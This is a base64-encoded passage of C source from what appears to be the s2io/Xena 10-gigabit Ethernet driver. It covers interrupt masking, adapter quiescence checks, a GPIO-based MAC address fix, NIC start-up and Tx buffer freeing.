ayByZWdpc3RlciAqLwoJCQl3cml0ZTY0KCZiYXIwLT5yeGRtYV9pbnRfbWFzaywgRElTQUJMRV9B TExfSU5UUlMpOwoJCQl0ZW1wNjQgPSByZWFkNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2spOwoJ CQl2YWw2NCB8PSB0ZW1wNjQ7CgkJCXdyaXRlNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2ssdmFs NjQpOwoJCX0KCX0KCi8qICBNQUMgSW50ZXJydXB0cyAqLwovKiAgRW5hYmxpbmcvRGlzYWJsaW5n IE1BQyBpbnRlcnJ1cHRzICovCglpZihtYXNrICYgKFRYX01BQ19JTlRSIHwgUlhfTUFDX0lOVFIp KSB7CgkJdmFsNjQgPSBUWE1BQ19JTlRfTSB8IFJYTUFDX0lOVF9NOwoJCWlmKGZsYWcgPT0gRU5B QkxFX0lOVFJTKSB7CgkJCXRlbXA2NCA9IHJlYWQ2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzayk7 CgkJCXRlbXA2NCAmPSB+KCh1NjQpdmFsNjQpOwoJCQl3cml0ZTY0KCZiYXIwLT5nZW5lcmFsX2lu dF9tYXNrLCB0ZW1wNjQpOwoJCS8qIEFsbCBNQUMgYmxvY2sgZXJyb3IgaW50ZXJydXB0cyBhcmUg ZGlzYWJsZWQgZm9yIG5vdyBleGNlcHQKCQkgKiB0aGUgbGluayBzdGF0dXMgY2hhbmdlIGludGVy cnVwdC4KCQkgKiBUT0RPKi8KCQkJdmFsNjQgPSBNQUNfSU5UX1NUQVRVU19STUFDX0lOVDsKCQkJ dGVtcDY0ID0gcmVhZDY0KCZiYXIwLT5tYWNfaW50X21hc2spOwoJCQl0ZW1wNjQgJj0gfigodTY0 KXZhbDY0KTsKCQkJd3JpdGU2NCgmYmFyMC0+bWFjX2ludF9tYXNrLCB0ZW1wNjQpOwoKCQkJdmFs NjQgPSByZWFkNjQoJmJhcjAtPm1hY19ybWFjX2Vycl9tYXNrKTsKCQkJdmFsNjQgJj0gfigodTY0 KVJNQUNfTElOS19TVEFURV9DSEFOR0VfSU5UKTsKCQkJd3JpdGU2NCgmYmFyMC0+bWFjX3JtYWNf ZXJyX21hc2ssIHZhbDY0KTsKCQl9IGVsc2UgaWYoZmxhZyA9PSBESVNBQkxFX0lOVFJTKSB7CgkJ LyogIERpc2FibGUgTUFDIEludHJzIGluIHRoZSBnZW5lcmFsIGludHIgbWFzayByZWdpc3RlciAq LwoJCQl3cml0ZTY0KCZiYXIwLT5tYWNfaW50X21hc2ssIERJU0FCTEVfQUxMX0lOVFJTKTsKCQkJ d3JpdGU2NCgmYmFyMC0+bWFjX3JtYWNfZXJyX21hc2ssIERJU0FCTEVfQUxMX0lOVFJTKTsKCQkJ dGVtcDY0ID0gcmVhZDY0KCZiYXIwLT5nZW5lcmFsX2ludF9tYXNrKTsKCQkJdmFsNjQgfD0gdGVt cDY0OwoJCQl3cml0ZTY0KCZiYXIwLT5nZW5lcmFsX2ludF9tYXNrLHZhbDY0KTsKCQl9Cgl9Cgov KiAgWEdYUyBJbnRlcnJ1cHRzICovCglpZihtYXNrICYgKFRYX1hHWFNfSU5UUiB8IFJYX1hHWFNf SU5UUikpIHsKCQl2YWw2NCA9IFRYWEdYU19JTlRfTSB8IFJYWEdYU19JTlRfTTsKCQlpZihmbGFn ID09IEVOQUJMRV9JTlRSUykgewoJCQl0ZW1wNjQgPSByZWFkNjQoJmJhcjAtPmdlbmVyYWxfaW50 X21hc2spOwoJCQl0ZW1wNjQgJj0gfigodTY0KXZhbDY0KTsKCQkJd3JpdGU2NCgmYmFyMC0+Z2Vu ZXJhbF9pbnRfbWFzaywgdGVtcDY0KTsKCQkvKiBBbGwgWEdYUyBibG9jayBlcnJvciBpbnRlcnJ1 cHRzIGFyZSBkaXNhYmxlZCBmb3Igbm93IFRPRE8qLwoJCQl3cml0ZTY0KCZiYXIwLT54Z3hzX2lu dF9tYXNrLCBESVNBQkxFX0FMTF9JTlRSUyk7CgkJfSBlbHNlIGlmKGZsYWcgPT0gRElTQUJMRV9J TlRSUykgewoJCS8qICBEaXNhYmxlIE1DIEludHJzIGluIHRoZSBnZW5lcmFsIGludHIgbWFzayBy ZWdpc3RlciAqLwoJCQl3cml0ZTY0KCZiYXIwLT54Z3hzX2ludF9tYXNrLCBESVNBQkxFX0FMTF9J TlRSUyk7CgkJCXRlbXA2NCA9IHJlYWQ2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzayk7CgkJCXZh bDY0IHw9IHRlbXA2NDsKCQkJd3JpdGU2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzayx2YWw2NCk7 CgkJfQoJfQoKLyogIE1lbW9yeSBDb250cm9sbGVyKE1DKSBpbnRlcnJ1cHRzICovCglpZihtYXNr ICYgTUNfSU5UUikgewoJCXZhbDY0ID0gTUNfSU5UX007CgkJaWYoZmxhZyA9PSBFTkFCTEVfSU5U UlMpIHsKCQkJdGVtcDY0ID0gcmVhZDY0KCZiYXIwLT5nZW5lcmFsX2ludF9tYXNrKTsKCQkJdGVt cDY0ICY9IH4oKHU2NCl2YWw2NCk7CgkJCXdyaXRlNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2ss IHRlbXA2NCk7CgkJLyogQWxsIE1DIGJsb2NrIGVycm9yIGludGVycnVwdHMgYXJlIGRpc2FibGVk IGZvciBub3cgVE9ETyovCgkJCXdyaXRlNjQoJmJhcjAtPm1jX2ludF9tYXNrLCBESVNBQkxFX0FM TF9JTlRSUyk7CgkJfSBlbHNlIGlmKGZsYWcgPT0gRElTQUJMRV9JTlRSUykgewoJCS8qICBEaXNh YmxlIE1DIEludHJzIGluIHRoZSBnZW5lcmFsIGludHIgbWFzayByZWdpc3RlciAqLwoJCQl3cml0 ZTY0KCZiYXIwLT5tY19pbnRfbWFzaywgRElTQUJMRV9BTExfSU5UUlMpOwoJCQl0ZW1wNjQgPSBy ZWFkNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2spOwoJCQl2YWw2NCB8PSB0ZW1wNjQ7CgkJCXdy aXRlNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2ssdmFsNjQpOwoJCX0KCX0KCgovKiAgVHggdHJh ZmZpYyBpbnRlcnJ1cHRzICovCglpZihtYXNrICYgVFhfVFJBRkZJQ19JTlRSKSB7CgkJdmFsNjQg PSBUWFRSQUZGSUNfSU5UX007CgkJaWYoZmxhZyA9PSBFTkFCTEVfSU5UUlMpIHsKCQkJdGVtcDY0 ID0gcmVhZDY0KCZiYXIwLT5nZW5lcmFsX2ludF9tYXNrKTsKCQkJdGVtcDY0ICY9IH4oKHU2NCl2 YWw2NCk7CgkJCXdyaXRlNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2ssIHRlbXA2NCk7CgkJLyog RW5hYmxlIGFsbCB0aGUgVHggc2lkZSBpbnRlcnJ1cHRzICovCgkJCXdyaXRlNjQoJmJhcjAtPnR4 X3RyYWZmaWNfbWFzaywgMHgwKTsJLyogJzAnIEVuYWJsZXMgCgkJCQkJCQkJICogYWxsIDY0IFRY IAoJCQkJCQkJCSAqIGludGVycnVwdCAKCQkJCQkJCQkgKiBsZXZlbHMuCgkJCQkJCQkJICovCgkJ fSBlbHNlIGlmKGZsYWcgPT0gRElTQUJMRV9JTlRSUykgewoJCS8qICBEaXNhYmxlIFR4IFRyYWZm aWMgSW50cnMgaW4gdGhlIGdlbmVyYWwgaW50ciBtYXNrIAoJCSAqICByZWdpc3Rlci4KCQkgKi8K CQkJd3JpdGU2NCgmYmFyMC0+dHhfdHJhZmZpY19tYXNrLCBESVNBQkxFX0FMTF9JTlRSUyk7CgkJ CXRlbXA2NCA9IHJlYWQ2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzayk7CgkJCXZhbDY0IHw9IHRl bXA2NDsKCQkJd3JpdGU2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzayx2YWw2NCk7CgkJfQoJfQoK LyogIFJ4IHRyYWZmaWMgaW50ZXJydXB0cyAqLwoJaWYobWFzayAmUlhfVFJBRkZJQ19JTlRSKXsK CQl2YWw2NCA9IFJYVFJBRkZJQ19JTlRfTTsKCQlpZihmbGFnID09IEVOQUJMRV9JTlRSUykgewoJ CQl0ZW1wNjQgPSByZWFkNjQoJmJhcjAtPmdlbmVyYWxfaW50X21hc2spOwoJCQl0ZW1wNjQgJj0g figodTY0KXZhbDY0KTsKCQkJd3JpdGU2NCgmYmFyMC0+Z2VuZXJhbF9pbnRfbWFzaywgdGVtcDY0 KTsKCQkJd3JpdGU2NCgmYmFyMC0+cnhfdHJhZmZpY19tYXNrLCAweDApOwkvKiAnMCcgRW5hYmxl cyAKCQkJCQkJCQkgKiBhbGwgOCBSWCAKCQkJCQkJCQkgKiBpbnRlcnJ1cHQgCgkJCQkJCQkJICog bGV2ZWxzLgoJCQkJCQkJCSAqLwoJCX0gZWxzZSBpZihmbGFnID09IERJU0FCTEVfSU5UUlMpIHsK CQkvKiAgRGlzYWJsZSBSeCBUcmFmZmljIEludHJzIGluIHRoZSBnZW5lcmFsIGludHIgbWFzayAK CQkgKiAgcmVnaXN0ZXIuCgkJICovCgkJCXdyaXRlNjQoJmJhcjAtPnJ4X3RyYWZmaWNfbWFzaywg RElTQUJMRV9BTExfSU5UUlMpOwoJCQl0ZW1wNjQgPSByZWFkNjQoJmJhcjAtPmdlbmVyYWxfaW50 X21hc2spOwoJCQl2YWw2NCB8PSB0ZW1wNjQ7CgkJCXdyaXRlNjQoJmJhcjAtPmdlbmVyYWxfaW50 X21hc2ssdmFsNjQpOwoJCX0KCX0KfQoKLyogIAogKiAgSW5wdXQgQXJndW1lbnRzOiAKICogICB2 YWw2NCAtIFZhbHVlIHJlYWQgZnJvbSBhZGFwdGVyIHN0YXR1cyByZWdpc3Rlci4KICogICBmbGFn IC0gaW5kaWNhdGVzIGlmIHRoZSBhZGFwdGVyIGVuYWJsZSBiaXQgd2FzIGV2ZXIgd3JpdHRlbiBv bmNlIGJlZm9yZS4KICogIFJldHVybiBWYWx1ZTogCiAqICAgdm9pZC4KICogIERlc2NyaXB0aW9u OiAKICogICBSZXR1cm5zIHdoZXRoZXIgdGhlIEgvVyBpcyByZWFkeSB0byBnbyBvciBub3QuIERl cGVuZGluZyBvbiB3aGV0aGVyIAogKiAgIGFkYXB0ZXIgZW5hYmxlIGJpdCB3YXMgd3JpdHRlbiBv ciBub3QgdGhlIGNvbXBhcmlzb24gZGlmZmVycyBhbmQgdGhlIAogKiAgIGNhbGxpbmcgZnVuY3Rp b24gcGFzc2VzIHRoZSBpbnB1dCBhcmd1bWVudCBmbGFnIHRvIGluZGljYXRlIHRoaXMuCiAqLwpz dGF0aWMgaW50IHZlcmlmeV94ZW5hX3F1aWVzY2VuY2UodTY0IHZhbDY0LCBpbnQgZmxhZykKewoJ aW50IHJldCA9IEZBTFNFOwoJdTY0IHRtcDY0ID0gfigodTY0KXZhbDY0KTsKCiNpZiAwCglpZigh KHRtcDY0ICYgKEFEQVBURVJfU1RBVFVTX1RETUFfUkVBRFkgfCBBREFQVEVSX1NUQVRVU19SRE1B X1JFQURZIHwKCQlBREFQVEVSX1NUQVRVU19QRkNfUkVBRFkgfCBBREFQVEVSX1NUQVRVU19UTUFD X0JVRl9FTVBUWSB8CgkJQURBUFRFUl9TVEFUVVNfUElDX1FVSUVTQ0VOVCB8IEFEQVBURVJfU1RB VFVTX1JDX1BSQ19RVUlFU0NFTlQgfAoJCUFQVEVSX1NUQVRVU19NQ19EUkFNX1JFQURZfCBBREFQ VEVSX1NUQVRVU19NQ19RVUVVRVNfUkVBRFkgfAoJCUFEQVBURVJfU1RBVFVTX01fUExMX0xPQ0sg fCBBREFQVEVSX1NUQVRVU19QX1BMTF9MT0NLKSkpIHsKCQlpZihmbGFnID09IEZBTFNFKSB7CgkJ CWlmKCEodmFsNjQgJiBBREFQVEVSX1NUQVRVU19STUFDX1BDQ19JRExFKSkgewoJCQkJcmV0ID0g VFJVRTsKCQkJfQoJCX0gZWxzZSB7CgkJCWlmKCh2YWw2NCAmIEFEQVBURVJfU1RBVFVTX1JNQUNf UENDX0lETEUpID09IAoJCQkJQURBUFRFUl9TVEFUVVNfUk1BQ19QQ0NfSURMRSkgewoJCQkJcmV0 ID0gVFJVRTsKCQkJfQoJCX0KCX0KI2Vsc2UKCWlmKCEodG1wNjQgJiAoQURBUFRFUl9TVEFUVVNf VERNQV9SRUFEWSB8IEFEQVBURVJfU1RBVFVTX1JETUFfUkVBRFkgfAoJCUFEQVBURVJfU1RBVFVT X1BGQ19SRUFEWSB8IEFEQVBURVJfU1RBVFVTX1RNQUNfQlVGX0VNUFRZIHwKCQlBREFQVEVSX1NU QVRVU19QSUNfUVVJRVNDRU5UIHwgQURBUFRFUl9TVEFUVVNfTUNfRFJBTV9SRUFEWXwgCgkJQURB UFRFUl9TVEFUVVNfTUNfUVVFVUVTX1JFQURZIHwgQURBUFRFUl9TVEFUVVNfTV9QTExfTE9DSyB8 IAoJCUFEQVBURVJfU1RBVFVTX1BfUExMX0xPQ0spKSkgewoJCWlmKGZsYWcgPT0gRkFMU0UpIHsK CQkJaWYoISh2YWw2NCAmIEFEQVBURVJfU1RBVFVTX1JNQUNfUENDX0lETEUpICYmIAoJCQkJKCh2 YWw2NCAmIEFEQVBURVJfU1RBVFVTX1JDX1BSQ19RVUlFU0NFTlQpPT0gCgkJCQlBREFQVEVSX1NU QVRVU19SQ19QUkNfUVVJRVNDRU5UKSkgewoJCQkJCgkJCQlyZXQgPSBUUlVFOwoJCQkJCgkJCX0K CQl9IGVsc2UgewoJCQlpZigoKHZhbDY0ICYgQURBUFRFUl9TVEFUVVNfUk1BQ19QQ0NfSURMRSk9 PSAKCQkJCUFEQVBURVJfU1RBVFVTX1JNQUNfUENDX0lETEUpICYmCgkJCQkoISh2YWw2NCAmIEFE QVBURVJfU1RBVFVTX1JDX1BSQ19RVUlFU0NFTlQpIHx8CgkJCQkoKHZhbDY0ICYgQURBUFRFUl9T VEFUVVNfUkNfUFJDX1FVSUVTQ0VOVCk9PSAKCQkJCUFEQVBURVJfU1RBVFVTX1JDX1BSQ19RVUlF U0NFTlQpKSkgewoJCQkJCgkJCQlyZXQgPSBUUlVFOwoKCQkJfQoJCX0KCX0KI2VuZGlmCgkKcmV0 dXJuIHJldDsKfQoKLyogCiAqIE5ldyBwcm9jZWR1cmUgdG8gY2xlYXIgbWFjIGFkZHJlc3MgcmVh ZGluZyAgcHJvYmxlbXMgb24gQWxwaGEgcGxhdGZvcm1zCiAqCiAqLwp2b2lkIEZpeE1hY0FkZHJl c3MobmljX3QgKnNwKQp7CgoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9kZXZfY29u ZmlnX3QgKilzcC0+YmFyMDsKCgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDYwMDAw MDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgw MDYwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7CgovKiBDcmVhdGUgc3RhcnQgY29uZGl0aW9u ICovCgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDQwNjAwMDAwMDAwMDAwKTsgCgl1 ZGVsYXkoMTApOwoJd3JpdGU2NCgmYmFyMC0+Z3Bpb19jb250cm9sLDB4MDAwMDYwMDAwMDAwMDAw MCk7Cgl1ZGVsYXkoMTApOwoJd3JpdGU2NCgmYmFyMC0+Z3Bpb19jb250cm9sLDB4MDAyMDYwMDAw MDAwMDAwMCk7Cgl1ZGVsYXkoMTApOwoJd3JpdGU2NCgmYmFyMC0+Z3Bpb19jb250cm9sLDB4MDA2 MDYwMDAwMDAwMDAwMCk7Cgl1ZGVsYXkoMTApOwoKLyogU2NhbiA5IGNvbnNlY3V0aXZlcyBvbmVz ICovCgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDIwNjAwMDAwMDAwMDAwKTsKCXVk ZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDYwNjAwMDAwMDAwMDAw KTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDIwNjAwMDAw MDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDYw NjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2ws MHgwMDIwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2Nv bnRyb2wsMHgwMDYwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5n cGlvX2NvbnRyb2wsMHgwMDIwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZi YXIwLT5ncGlvX2NvbnRyb2wsMHgwMDYwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0 ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDIwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7 Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDYwNjAwMDAwMDAwMDAwKTsKCXVkZWxh eSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDIwNjAwMDAwMDAwMDAwKTsK CXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDYwNjAwMDAwMDAw MDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDIwNjAw MDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgw MDYwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlvX2NvbnRy b2wsMHgwMDIwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIwLT5ncGlv X2NvbnRyb2wsMHgwMDYwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0KCZiYXIw LT5ncGlvX2NvbnRyb2wsMHgwMDIwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgl3cml0ZTY0 KCZiYXIwLT5ncGlvX2NvbnRyb2wsMHgwMDYwNjAwMDAwMDAwMDAwKTsKCXVkZWxheSgxMCk7Cgov KiBDcmVhdGUgc3RvcCBjb25kaXRpb24gKi8KCXdyaXRlNjQoJmJhcjAtPmdwaW9fY29udHJvbCww eDAwMjA2MDAwMDAwMDAwMDApOwoJdWRlbGF5KDEwKTsKCXdyaXRlNjQoJmJhcjAtPmdwaW9fY29u dHJvbCwweDAwMDA2MDAwMDAwMDAwMDApOwoJdWRlbGF5KDEwKTsKCXdyaXRlNjQoJmJhcjAtPmdw aW9fY29udHJvbCwweDAwNDA2MDAwMDAwMDAwMDApOwoJdWRlbGF5KDEwKTsKCXdyaXRlNjQoJmJh cjAtPmdwaW9fY29udHJvbCwweDAwNjA2MDAwMDAwMDAwMDApOwoJdWRlbGF5KDEwKTsKCn0KCi8q ICAKICogIElucHV0IEFyZ3VtZW50czogCiAqICBkZXZpY2UgcHJpdmF0ZSB2YXJpYWJsZS4KICog IFJldHVybiBWYWx1ZTogCiAqICBTVUNDRVNTIG9uIHN1Y2Nlc3MgYW5kIC0xIG9uIGZhaWx1cmUu CiAqICBEZXNjcmlwdGlvbjogCiAqICBUaGlzIGZ1bmN0aW9uIGFjdHVhbGx5IHR1cm5zIHRoZSBk ZXZpY2Ugb24uIEJlZm9yZSB0aGlzIAogKiAgZnVuY3Rpb24gaXMgY2FsbGVkLCBhbGwgUmVnaXN0 ZXJzIGFyZSBjb25maWd1cmVkIGZyb20gdGhlaXIgcmVzZXQgc3RhdGVzIAogKiAgYW5kIHNoYXJl ZCBtZW1vcnkgaXMgYWxsb2NhdGVkIGJ1dCB0aGUgTklDIGlzIHN0aWxsIHF1aWVzY2VudC4gT24g CiAqICBjYWxsaW5nIHRoaXMgZnVuY3Rpb24sIHRoZSBkZXZpY2UgaW50ZXJydXB0cyBhcmUgY2xl YXJlZCBhbmQgdGhlIE5JQyBpcwogKiAgbGl0ZXJhbGx5IHN3aXRjaGVkIG9uIGJ5IHdyaXRpbmcg aW50byB0aGUgYWRhcHRlciBjb250cm9sIHJlZ2lzdGVyLgogKi8Kc3RhdGljIGludCBzdGFydE5p YyhzdHJ1Y3QgczJpb19uaWMgKm5pYykKewoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVO QV9kZXZfY29uZmlnX3QgKiluaWMtPmJhcjA7CglzdHJ1Y3QgbmV0X2RldmljZSAqZGV2ID0gbmlj LT5kZXY7CglyZWdpc3RlciB1NjQgdmFsNjQgPSAwOwoJdTE2IGludGVycnVwdGlibGUsaTsKCi8q ICBQUkMgSW5pdGlhbGl6YXRpb24gYW5kIGNvbmZpZ3VyYXRpb24gKi8KCWZvcihpPTA7aTxuaWMt PmNvbmZpZy5SeFJpbmdOdW07aSsrKSB7CgkJd3JpdGU2NCgmYmFyMC0+cHJjX3J4ZDBfbltpXSwg CgkJCQkodTY0KW5pYy0+cnhfYmxvY2tzW2ldWzBdLmJsb2NrX2RtYV9hZGRyKTsKCQl2YWw2NCA9 IHJlYWQ2NCgmYmFyMC0+cHJjX2N0cmxfbltpXSk7CgkJdmFsNjQgfD0gUFJDX0NUUkxfUkNfRU5B QkxFRDsKCQl3cml0ZTY0KCZiYXIwLT5wcmNfY3RybF9uW2ldLCB2YWw2NCk7Cgl9CgovKiBFbmFi bGluZyBNQy1STERSQU0gKi8KCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5tY19ybGRyYW1fbXJzKTsK CXZhbDY0IHw9IE1DX1JMRFJBTV9RVUVVRV9TSVpFX0VOQUJMRSB8IE1DX1JMRFJBTV9NUlNfRU5B QkxFOwoJd3JpdGU2NCgmYmFyMC0+bWNfcmxkcmFtX21ycywgdmFsNjQpOwoJbWRlbGF5KDEwMCk7 CgovKiBFbmFibGluZyBFQ0MgUHJvdGVjdGlvbi4gKi8KCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5h ZGFwdGVyX2NvbnRyb2wpOwoJdmFsNjQgJj0gfkFEQVBURVJfRUNDX0VOOwoJd3JpdGU2NCgmYmFy MC0+YWRhcHRlcl9jb250cm9sLCB2YWw2NCk7CgovKiBDbGVhcmluZyBhbnkgcG9zc2libGUgTGlu ayBzdGF0ZSBjaGFuZ2UgaW50ZXJydXB0cyB0aGF0IGNvdWxkIGhhdmUKICogcG9wcGVkIHVwIGp1 c3QgYmVmb3JlIEVuYWJsaW5nIHRoZSBjYXJkLgogKi8KCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5t YWNfcm1hY19lcnJfcmVnKTsKCWlmKHZhbDY0KQoJCXdyaXRlNjQoJmJhcjAtPm1hY19ybWFjX2Vy cl9yZWcsdmFsNjQpOwoKLyogVmVyaWZ5IGlmIHRoZSBkZXZpY2UgaXMgcmVhZHkgdG8gYmUgZW5h YmxlZCwgaWYgc28gZW5hYmxlIGl0LiAqLwoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPmFkYXB0ZXJf c3RhdHVzKTsKCWlmKHZlcmlmeV94ZW5hX3F1aWVzY2VuY2UodmFsNjQsIG5pYy0+ZGV2aWNlX2Vu YWJsZWRfb25jZSkgPT0gRkFMU0UpIHsKCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IGRldmljZSBp cyBub3QgcmVhZHksICIsZGV2LT5uYW1lKTsKCQkjaWZuZGVmIFhFTkFfQVJDSF82NAoJCURCR19Q UklOVChFUlJfREJHLCJBZGFwdGVyIHN0YXR1cyByZWFkczogMHglbGx4XG4iLHZhbDY0KTsKCQkj ZWxzZQoJCURCR19QUklOVChFUlJfREJHLCJBZGFwdGVyIHN0YXR1cyByZWFkczogMHglbHhcbiIs dmFsNjQpOwoJCSNlbmRpZgoJCXJldHVybiBGQUlMVVJFOwoJfQoKLyogIEVuYWJsZSBzZWxlY3Qg aW50ZXJydXB0cyAqLwoJaW50ZXJydXB0aWJsZSA9IFRYX1RSQUZGSUNfSU5UUiB8IFJYX1RSQUZG SUNfSU5UUiB8IFRYX01BQ19JTlRSIHwKCQkJUlhfTUFDX0lOVFI7Cgllbl9kaXNfYWJsZV9OaWNJ bnRycyhuaWMsIGludGVycnVwdGlibGUsIEVOQUJMRV9JTlRSUyk7CgovKiBXaXRoIHNvbWUgc3dp dGNoZXMsIGxpbmsgbWlnaHQgYmUgYWxyZWFkeSB1cCBhdCB0aGlzIHBvaW50LgogKiBCZWNhdXNl IG9mIHRoaXMgd2VpcmQgYmVoYXZpb3IsIHdoZW4gd2UgZW5hYmxlIGxhc2VyLCAKICogd2UgbWF5 IG5vdCBnZXQgbGluay4gV2UgbmVlZCB0byBoYW5kbGUgdGhpcy4gV2UgY2Fubm90IAogKiBmaWd1 cmUgb3V0IHdoaWNoIHN3aXRjaCBpcyBtaXNiZWhhdmluZy4gU28gd2UgYXJlIGZvcmNlZCB0byAK ICogbWFrZSBhIGdsb2JhbCBjaGFuZ2UuIAogKi8KCi8qIEVuYWJsaW5nIExhc2VyLiAqLwoJdmFs NjQgPSByZWFkNjQoJmJhcjAtPmFkYXB0ZXJfY29udHJvbCk7Cgl2YWw2NCB8PSBBREFQVEVSX0VP SV9UWF9PTjsKCXdyaXRlNjQoJmJhcjAtPmFkYXB0ZXJfY29udHJvbCwgdmFsNjQpOwoKIC8qIAog ICogSGVyZSB3ZSBhcmUgcGVyZm9ybWluZyBzb2Z0IHJlc2V0IG9uIFhHWFMgdG8gCiAgKiBmb3Jj ZSBsaW5rIGRvd24uIFNpbmNlIGxpbmsgaXMgYWxyZWFkeSB1cCwgd2Ugd2lsbCBnZXQKICAqIGxp bmsgc3RhdGUgY2hhbmdlIGludGVycnVwdCBhZnRlciB0aGlzIHJlc2V0CiAgKi8KCgl3cml0ZTY0 KCZiYXIwLT5kdHhfY29udHJvbCwweDgwMDcwNTE1MDAwMDAwMDApOwoJdWRlbGF5KDUwKTsJCgl3 cml0ZTY0KCZiYXIwLT5kdHhfY29udHJvbCwweDgwMDcwNTE1MDAwMDAwRTApOwoJdWRlbGF5KDUw KTsJCgl3cml0ZTY0KCZiYXIwLT5kdHhfY29udHJvbCwweDgwMDcwNTE1MDAxRjAwRTQpOwoJdWRl bGF5KDUwKTsJCgoJcmV0dXJuIFNVQ0NFU1M7Cn0KCi8qICAKICogIElucHV0IEFyZ3VtZW50czog CiAqICAgbmljIC0gZGV2aWNlIHByaXZhdGUgdmFyaWFibGUuCiAqICBSZXR1cm4gVmFsdWU6IAog KiAgIHZvaWQuCiAqICBEZXNjcmlwdGlvbjogCiAqICAgRnJlZSBhbGwgcXVldWVkIFR4IGJ1ZmZl cnMuCiAqLwp2b2lkIGZyZWVUeEJ1ZmZlcnMoc3RydWN0IHMyaW9fbmljICpuaWMpCnsKCXN0cnVj dCBuZXRfZGV2aWNlICpkZXYgPSBuaWMtPmRldjsKCXN0cnVjdCBza19idWZmICpza2I7CglUeERf dCAqdHhkcDsKCWludCBpLGo7CgkjaWYgREVCVUdfT04KCWludCBjbnQgPSAwOwoJI2VuZGlmCgoJ c3Bpbl9sb2NrKCZuaWMtPnR4X2xvY2spOwoJZm9yKGk9MDsgaTxuaWMtPmNvbmZpZy5UeEZJRk9O dW07IGkrKykgewoJCWZvcihqPTA7ajxuaWMtPmNvbmZpZy5UeENmZ1tpXS5GaWZvTGVuLTE7aisr KSB7CgkJCXR4ZHAgPSBuaWMtPm1hY19jb250cm9sLnR4ZGxfc3RhcnRbaV0gKyAKCQkJCShuaWMt PmNvbmZpZy5NYXhUeERzICogaik7CgoJCQlpZighKHR4ZHAtPkNvbnRyb2xfMSAmIFRYRF9MSVNU X09XTl9YRU5BKSkgewoJCQkvKiBJZiBvd25lZCBieSBob3N0LCBpZ25vcmUgKi8KCQkJCWNvbnRp bnVlOwoJCQl9CgkJCXNrYiA9IChzdHJ1Y3Qgc2tfYnVmZiAqKSgoZG1hYWRkcl90KXR4ZHAtPkhv c3RfQ29udHJvbCk7CgkJCWlmKHNrYiA9PSBOVUxMKSB7CgkJCQlEQkdfUFJJTlQoRVJSX0RCRywi JXM6IE5VTEwgc2tiICIsZGV2LT5uYW1lKTsKCQkJCURCR19QUklOVChFUlJfREJHLCJpbiBUeCBJ bnRcbiIpOwoJCQkJc3Bpbl91bmxvY2soJm5pYy0+dHhfbG9jayk7CgkJCQlyZXR1cm47CgkJCX0K CQkJI2lmIERFQlVHX09OCgkJCWNudCsrOwoJCQkjZW5kaWYKCQkJZGV2X2tmcmVlX3NrYihza2Ip OwoJCQltZW1zZXQodHhkcCwgMCwgc2l6ZW9mKFR4RF90KSk7CgkJfQoJCSNpZiBERUJVR19PTgoJ CURCR19QUklOVChJTlRSX0RCRywiJXM6Zm9yY2libHkgZnJlZWluZyAlZCBza2JzIG9uIEZJRk8l 